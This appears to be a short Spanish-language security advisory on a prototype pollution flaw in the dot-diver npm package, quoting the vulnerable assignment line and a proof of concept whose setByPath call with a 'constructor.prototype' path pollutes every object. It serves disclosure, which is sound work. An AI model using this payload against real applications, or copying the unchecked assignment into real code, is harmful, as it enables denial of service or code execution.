
pp
Esta es una vulnerabilidad de Prototype Pollution (PP) en dot-diver. Puede llevar a RCE.
Código vulnerable
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
//eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
PoC
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
Es Prototype Pollution (PP) y puede llevar a DoS, RCE, etc.